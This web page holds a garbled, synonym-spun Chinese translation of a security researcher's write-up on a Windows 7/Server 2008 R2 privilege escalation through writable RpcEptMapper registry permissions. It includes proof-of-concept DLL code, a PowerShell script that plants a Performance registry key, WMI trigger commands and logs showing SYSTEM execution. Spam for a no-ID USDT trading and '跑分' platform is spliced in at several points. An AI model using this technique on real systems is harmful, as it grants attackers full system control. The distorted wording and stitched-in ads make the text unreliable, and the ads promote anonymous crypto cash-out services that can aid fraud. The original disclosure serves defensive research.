USDT第三方支付API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

PrivescCheck是是著名PowerUp的一种更新和扩展版本,可以针对Windows系统的提权枚举剧本,该剧本能够枚举出目的Windows系统中常见的Windows错误平安设置。若是你曾经在Windows 7或Windows Server 2008 R2上运行过此剧本,则可能会注重到重复泛起新鲜的效果,可能会像我一样以为它是一个误报,但实在它是一个破绽。

从今年年初最先,我最先研究特权升级枚举剧本:PrivescCheck,使用此剧本,我只是希望能够快速枚举由系统设置错误引起的潜在破绽,但现实上却发生了一些意外的效果,好比它使我能够在Windows 7 / Server 2008R2中找到许多零日破绽!

假设一台Windows装备打了完整的补丁,可能导致内陆特权升级的主要平安问题之一是服务设置错误。若是普通用户能够修改现有服务,则就可以在内陆/网络服务甚至内陆系统的上下文中执行随便代码。以下就是一些最常见的破绽:

1. 服务控制治理器(SCM):可以通过SCM向低特权用户授予服务的特定权限。例如,普通用户可以通过下令sc.exe start wuauserv启动Windows更新服务,这要谢谢SERVICE_START权限,这是一个异经常见的场景。然则,若是该用户具有SERVICE_CHANGE_CONFIG,则他/她将能够更改该服务的行为并使其运行随便可执行文件。

2.二进制权限:典型的Windows服务通常具有一个与其关联的下令行。若是你可以修改响应的可执行文件或者若是你在父文件夹中具有写入权限,那么你基本上可以在该服务的平安上下文中执行所需的任何操作。

3.未引用的路径:此问题与Windows剖析下令行的方式有关。好比带有以下下令行的虚拟服务:C:\Applications\Custom service \service.exe /v。此下令行不明确,因此Windows将首先实验以Service \ service.exe作为第一个参数,/ v作为第二个参数执行C:\Applications\Custom.exe。若是一个普通用户在C:\Applications中有写权限,那么就可以通过复制一个恶意的可执行文件到C:\Applications\Custom.exe来挟制服务。这就是为什么路径应该总是用引号括起来,稀奇是当它们包罗空格的时刻:"C:\Applications\Custom Service\service.exe" /v。

4.虚拟DLL挟制和可写的%PATH%文件夹:纵然在Windows的默认安装中,某些内置服务也会实验加载不存在的DLL。这自己不是一个破绽,但若是在%PATH%环境变量中列出的文件夹中有一个可以被普通用户写入,那么这些服务就可能被挟制。

这些潜在的平安问题中的每一个都已经在PowerUp中举行了响应的检查,然则在另一种情况下,可能会发生设置错误:注册表。通常,在建立服务时,可以通过使用内置下令sc.exe作为治理员挪用服务控制治理器来举行。这将在HKLM \ SYSTEM \ CurrentControlSet \ Services中建立一个带有服务名称的子项,并将所有设置(下令行、用户等)保存在该子项中。因此,若是这些设置由SCM治理,则默认情况下它们应该是平安的。

检查注册表权限

PowerUp的焦点函数之一是Get-ModifiablePath。这个函数的基本思想是提供一种通用的方式来检查当前用户是否可以以任何方式修改文件或文件夹(例如:AppendData/AddSubdirectory)。它通过剖析目的工具的ACL,然后将其与通过它所属的所有组授予当前用户帐户的权限举行对照来实现。虽然这一原则最初是针对文件和文件夹实现的,但注册表项也是平安工具。因此,可以实现一个类似的函数来检查当前用户是否有对注册表项的写权限。这正是我所做的,因此我添加了一个新的焦点函数:Get-ModifiableRegistryPath。

然后,实现对与Windows服务相对应的可修改注册表项的检查就像在路径Registry :: HKLM \ SYSTEM \ CurrentControlSet \ Services上挪用Get-ChildItem PowerShell下令一样容易。效果可以简朴地通过管道通报到新的Get-ModifiableRegistryPath下令,仅此而已。

当我需要实现一个新的检查时,我使用Windows 10装备,而且我也使用统一台装备举行初始测试,以查看是否一切都如预期的那样事情。当代码稳固后,我将测试扩展到其他几个Windows vm上,以确保它仍与PowerShell v2兼容,而且仍然可以在较老的系统上运行。我最常用于此目的的操作系统是Windows 7,Windows 2008 R2和Windows Server 2012 R2。

当我在Windows 10的默认安装上运行更新的剧本时,它没有返回任何内容,这是我期望的效果。我在Windows 7上运行了它,看到的效果如下:

由于我没想到剧本会发生任何效果,因此我首先以为这些都是误报,而且在实行过程中有些操作失误。不外我仔细看了一下效果,发现这些都不是误报。

误报吗?

凭据剧本的输出,当前用户对两个注册表项具有一定的写入权限:

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

让我们使用regedit GUI手动检查RpcEptMapper服务的权限,我异常喜欢高级平安设置窗口的“有用权限”选项卡。你可以选择任何用户名或组名,然后立刻查看授予该主体的有用权限,而无需划分检查所有ACE。以下屏幕截图显示了低权限实验室用户帐户的效果。

大多数权限是尺度权限(例如:查询值),但其中一项稀奇突出:建立子项。与此权限对应的通用名称为AppendData / AddSubdirectory,该名称正是剧本讲述的名称:

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

这到底是什么意思?这意味着我们不能仅仅修改ImagePath值。为此,我们需要WriteData / AddFile权限。相反,我们只能建立一个新的子项。

这是否意味着它确实是误报?固然不会。

RTFM

至此,我们知道可以在HKLM \ SYSTEM \ CurrentControlSet \ Services \ RpcEptMapper下建立随便子项,然则不能修改现有子项和值。这些已经存在的子项是“参数”和“平安性”,它们在Windows服务中异经常见。

因此,想到的第一个问题是:是否另有其他预界说的子项,好比参数和平安性,我们可以行使它们来有用地修改服务的设置并以任何方式更改其行为?

为了回覆这个问题,我最初的设计是枚举所有现有项并实验识别模式,这样做的目的是查看哪些子项对服务的设置有意义。我最先思量若何在PowerShell中实现它,然后对效果举行排序。然则,在这样做之前,我想知道此注册表结构是否已经纪录在案。因此,我用谷歌搜索类似于Windows服务设置注册表站点:microsoft.com,这是第一个泛起的效果。

乍看之下,文档似乎并不详尽和完整。思量到题目,我希望看到某种树形结构,其中详细列出了界说服务设置的所有子项和值,但显然不存在。

只管如此,我照样快速浏览了每个段落。而且,我很快发现了关项字 “Performance” 和 “DLL”。在“Performance”小题目下,我们可以阅读以下内容:

Performance:用于指定可选性能监视信息的项。该项下的值指定驱动程序性能DLL的名称以及该DLL中某些导出的函数的名称。你可以使用驱动程序INF文件中的AddReg项将值项添加到此子项中。

以是,理论上可以通过Performance子项在驱动程序服务中注册DLL,以便监视其性能。好的,这真的很有趣! RpcEptMapper服务默认情况下不存在此项,因此看起来正是我们所需要的。然则,有一个小问题,该服务绝对不是驱动程序服务。无论若何,仍然值得实验,但我们首先需要有关此“性能监控”功效的更多信息。

注重:在Windows中,每个服务都有给定的类型。服务类型可以是以下值之一:SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256)。

在网上搜索了一番之后,我在文档中找到了这个资源:建立应用程序的性能项。

首先,有一个很好的树结构,列出了我们必须建立的所有项和值:

库值可以包罗DLL名称或指向DLL的完整路径;

Open、Collect和Close值允许你指定DLL应该导出的函数的名称;

这些值的数据类型为REG_SZ(对于库值,甚至为REG_EXPAND_SZ)。

,

usdt支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

若是你跟踪本资源中包罗的链接,你甚至可以找到这些函数的原型以及一些代码示例:实现OpenPerformanceData。

我以为理论已经足够,该最先编写一些代码了!

编写观点验证

由于我在整个文档中都能收集到点点滴滴,因此编写一个简朴的观点验证DLL应该异常简朴。然则,我们仍然需要一个设计!

当我需要行使某种DLL挟制破绽时,我通常从一个简朴的自界说日志助手函数最先。此函数的目的是在每次挪用文件时将一些关项信息写入文件中。通常,我纪录当前历程和父历程的PID、运行历程的用户名和响应的下令行。我还纪录了触发此日志事宜的函数的名称,这样,我就知道代码的哪一部门被执行了。

启动Visual Studio并建立一个新的“ C ++ Console App”项目。请注重,我本可以建立“动态链接库(DLL)”项目,但我发现从控制台应用程序最先现实上更容易。

以下是Visual Studio天生的初始代码:

固然,那不是我们想要的。我们要建立一个DLL,而不是EXE,因此我们必须用DllMain替换main函数,你可以在《初始化DLL文档》中找到此函数的框架代码。

同时,我们还需要更改项目的设置,以指定输出的编译文件应该是DLL而不是EXE。为此,你可以打开项目属性,在“General”部门,选择“Dynamic Library (.dll)”作为“设置类型”。在题目栏的正下方,你还可以选择“所有设置”和“所有平台”,以便可以全局应用此设置。

接下来,添加我的自界说日志辅助器功效。

,include  // UNLEN + GetUserName
,include  // CreateToolhelp32Snapshot()
,include void Log(LPCWSTR pwszCallingFrom){
    LPWSTR pwszBuffer, pwszCommandLine;
    WCHAR wszUsername[UNLEN + 1] = { 0 };
    SYSTEMTIME st = { 0 };
    HANDLE hToolhelpSnapshot;
    PROCESSENTRY32 stProcessEntry = { 0 };
    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
    BOOL bResult = FALSE;

    // Get the command line of the current process
    pwszCommandLine = GetCommandLine();

    // Get the name of the process owner
    GetUserName(wszUsername, &dwPcbBuffer);

    // Get the PID of the current process
    dwProcessId = GetCurrentProcessId();

    // Get the PID of the parent process
    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
        do {
            if (stProcessEntry.th32ProcessID == dwProcessId) {
                dwParentProcessId = stProcessEntry.th32ParentProcessID;
                break;
            }
        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
    }
    CloseHandle(hToolhelpSnapshot);

    // Get the current date and time
    GetLocalTime(&st);

    // Prepare the output string and log the result
    dwBufSize = 4096 * sizeof(WCHAR);
    pwszBuffer = (LPWSTR)malloc(dwBufSize);
    if (pwszBuffer)
    {
        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
            st.wHour,
            st.wMinute,
            st.wSecond,
            dwProcessId,
            dwParentProcessId,
            wszUsername,
            pwszCommandLine,
            pwszCallingFrom
        );

        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);

        free(pwszBuffer);
    }}

然后,我们可以使用在文档中看到的三个函数来填充DLL。该文档还指出,若是乐成,它们应该返回ERROR_SUCCESS。

现在项目已经准确设置好了,DllMain已经实现了,我们有了一个日志辅助函数和三个必须的函数。不外还缺少最后一件事。若是我们编译这段代码,OpenPerfData, CollectPerfData和ClosePerfData将只作为内部函数可用,以是我们需要导出它们。这可以通过几种方式实现。例如,你可以建立一个DEF文件,然后适当地设置项目。然则,我更喜欢使用__declspec(dllexport)关键字,稀奇是对于像这样的小项目。这样,我们只需要在源代码的最先声明这三个函数即可。

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

若是你想查看完整的代码,请点此。这将天生我们的DLL文件:.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll

测试PoC

在继续之前,我总是通过单独测试来确保我的有用载荷是否正常事情,其主要目的是防止你在假设的调试阶段陷入无路可走的田地。为此,我们可以简朴地使用rundll32.exe并将DLL的名称和导出函数的名称作为参数通报。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

现在日志文件已被建立,若是打开它,我们可以看到两个条目。第一个是在rundll32.exe加载DLL时编写的。第二个是在挪用OpenPerfData时编写的。

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'

现在我们可以专注于现实破绽了,并从建立所需的注册表项和值最先。我们既可以使用reg.exe / regedit.exe手动执行此操作,也可以使用剧本以编程方式执行此操作。由于我在最初的研究中已经完成了手动步骤,因此我将展示一种使用PowerShell剧本执行相同操作的更简练的方式。此外,在PowerShell中建立注册表项和值就像挪用New-Item和New-ItemProperty一样容易,不是吗?

请求的注册表接见是不允许的,至于详细缘故原由我还没有举行研究,但我预测是,当我们挪用New-Item时,powershell.exe现实上会实验使用一些与我们没有权限相对应的标志来打开父注册表项。

无论若何,若是内置的cmdlet不能完成任务,我们总是可以跳到下一级直接挪用DotNet函数。现实上,还可以在PowerShell中使用以下代码建立注册表项。

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")

最后,我整理了以下剧本,以建立适当的项和值,守候用户输入,并最终通过清算所有内容来终止。

$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
 
Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
 
Read-Host -Prompt "Press any key to continue"
 
Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

最后一步,我们若何诱骗RPC端点映射器服务加载我们的Performace DLL?不幸的是,我没有纪录下所有实验过的事情。但你可以使用WMI(Windows治理规范)查询性能计数器,这一点也不新鲜。计数器类型类中显示为属性的CounterType限定符,在Win32_PerfFormattedData类中显示为属性的CookingType限定符。

因此,我首先使用以下下令枚举了PowerShell中与Performace Data相关的WMI类。

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

而且,我看到我的日志文件几乎是立刻建立的!下面是文件的内容。

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'

我期望最多在RpcEptMapper服务的上下文中以网络服务的形式执行随便代码,但看起来我获得的效果比预期的要好得多。现实上,我在WMI服务自己的上下文中执行了随便代码,该服务以内陆系统运行。注重:若是我以NETWORK SERVICE的身份执行了随便代码,那么我将仅仅从内陆系统帐户中获得一个符号,这要谢谢James Forshaw几个月前揭晓的一篇文章《Sharing a Logon Session a Little Too Much》。

我还实验划分获取每个WMI类,并观察到完全相同的效果。

Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData

总结

我不知道这个破绽为何被忽视这么久了,一种注释是,其他工具可能会在注册表中寻找完整的写入接见权限,而在本例中,AppendData / AddSubdirectory现实上足够了。关于“错误设置”自己,我假设注册表项是为了特定的目的而这样设置的,只管我想不出用户有任何类型的权限来修改服务的设置的详细场景。

我决议公然揭晓此破绽的缘故原由有两个:第一个缘故原由是,在我用GetModfiableRegistryPath函数更新PrivescCheck剧本的那一天,我现实上公然了它,最初我并没有意识到这一点,那是几个月前。第二个缘故原由是影响很小。它需要内陆接见,而且只影响不再支持的旧版本的Windows(除非你购买了扩展支持……)此时,若是你仍然在使用Windows 7 / Server 2008 R2,而没有首先在网络中准确隔离这些装备,那么防止攻击者获得系统特权可能是你最不需要忧郁的事情。

相关链接

GitHub - PrivescCheck

https://github.com/itm4n/PrivescCheck

GitHub - PowerUp
https://github.com/HarmJ0y/PowerUp

Microsoft - “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree”
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

Microsoft - Creating the Application’s Performance Key
https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key

本文翻译自:https://itm4n.github.io/windows-registry-rpceptmapper-eop/: 环球UG官网声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt无需实名交易(www.caibao.it):Windows RpcEptMapper 服务注册表权限设置欠妥导致内陆提权
评论关闭

分享到:

收购usdt(www.caibao.it):英国发现的变异新冠病毒可能造成更高的死亡率